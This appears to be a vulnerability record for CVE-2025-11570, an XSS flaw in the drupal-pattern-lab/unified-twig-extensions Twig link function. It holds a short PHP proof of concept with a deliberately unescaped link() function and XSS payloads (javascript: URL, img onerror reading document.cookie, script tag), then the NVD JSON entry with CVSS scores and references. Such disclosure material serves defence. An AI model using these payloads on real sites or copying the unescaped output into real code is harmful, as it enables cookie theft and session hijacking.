CVE-2025-11570

<!-- PoC for CVE-2025-11570 - XSS in drupal-pattern-lab/unified-twig-extensions --> <!-- The vulnerability exists in link.function.php where user input is not properly sanitized --> <!-- When the function is called outside of Drupal context (e.g., in Pattern Lab), --> <!-- the input is rendered without proper HTML escaping --> <?php // Example of vulnerable code in link.function.php function link($url, $title) { // Vulnerable: $title is not escaped before being rendered return '<a href="' . $url . '">' . $title . '</a>'; } // Malicious payload that exploits the XSS vulnerability $malicious_url = 'javascript:alert("XSS-CVE-2025-11570")'; $malicious_title = '"><img src=x onerror=alert(document.cookie)>'; // Trigger the vulnerability by calling the function with malicious input echo link($malicious_url, $malicious_title); ?> <!-- In a Twig template context, the exploit would look like: --> <!-- {{ link(user_input_url, user_input_title) }} --> <!-- Where user_input_title contains: --> <!-- "><script>alert('XSS')</script> -->

{"cve": {"id": "CVE-2025-11570", "sourceIdentifier": "[email protected]", "published": "2025-10-10T05:15:33.380", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package drupal-pattern-lab/unified-twig-extensions from 0.0.0 are vulnerable to Cross-site Scripting (XSS) due to insufficient filtering of data.\r\r**Note:**\rThis is exploitable only if the code is executed outside of Drupal; the function is intended to be shared between Drupal and Pattern Lab.\r\rThe package drupal-pattern-lab/unified-twig-extensions is unmaintained, the fix for this issue exists in version 1.1.1 of [drupal/unified_twig_ext](https://www.drupal.org/project/unified_twig_ext)"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/drupal-pattern-lab/unified-twig-extensions/blob/862b9deccab544ca68e3aaaccc257d14acc9b1f6/example/_twig-components/functions/link.function.php%23L9", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-PHP-DRUPALPATTERNLABUNIFIEDTWIGEXTENSIONS-8400877", "source": "[email protected]"}, {"url": "https://www.drupal.org/sa-contrib-2023-041", "source": "[email protected]"}]}}